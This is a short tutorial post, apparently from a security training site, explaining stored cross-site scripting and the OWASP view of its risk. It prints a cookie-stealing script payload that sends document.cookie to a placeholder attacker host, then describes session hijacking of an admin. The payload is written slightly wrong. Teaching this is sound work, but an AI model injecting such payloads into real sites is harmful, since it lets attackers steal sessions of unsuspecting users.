Ready to Start Your Career?

Web App Pen Testing: Stored XSS

Kowalski 's profile image

By: Kowalski

August 20, 2017

As everybody knows, humans are the weakest link in the security chain. This thought applies to programming as well. In this article, I will discuss XSS attacks, which are very dangerous, because they are easy to detect, the impact can be moderate to high, and they can cause damage not only to a specific user but to all users of a web app.

Taking the OWASP table as a reference, we have the following:

Business Impact

Application/Business Specific


Very common




Average, well known, lot of resources


Moderate / Critical

What is XSS? 

Cross Site Scripting (XSS) is a client-side vulnerability which allows an attacker to inject code and execute malicious scripts. Can be persistent/stored, reflected or DOM-based. I’ll cover for now the stored XSS but in summary, these are the types of XSS attacks:

-       Persistent - malicious input originates from the website's database.

-       Reflected - malicious input originates from the victim's request.

-       DOM-based - vulnerability is in the client-side code rather than the server-side code.

Persistent XSS can be very dangerous, because not the attacker will not only execute once the code, but the malicious code will be stored in the server. For example, let’s say the forum has a vulnerable form and an attacker found that vulnerability and wants to steal cookies. He can submit a code similar to the following.

<script>new img().src=http://<attacker.ip.address>/cookiejar.php? +document.cookie;<script>

Every time the page loads and runs that code, the cookies of the user who visited the vulnerable page where the malicious code is stored will be sent to the page the attacker is hosting, but if that particular user is the admin, now the attacker can hijack the admin’s session and do everything he wants. Other advantages can be taken too, as using the vulnerability to run a key logger or phishing.

In summary, this is how a stored XSS works:

-       The attacker found a form to submit a malicious script into the website

-       The user visits the vulnerable web page with the attacker’s injected code on the website and receives the response from the web server with the malicious script

-       The user’s browser executes the malicious script inside the response from the web page, sending the victim's cookies to the attacker's server

  -       Now the attacker can log in with the hijacked user’s session without knowing his/her username or password.
Schedule Demo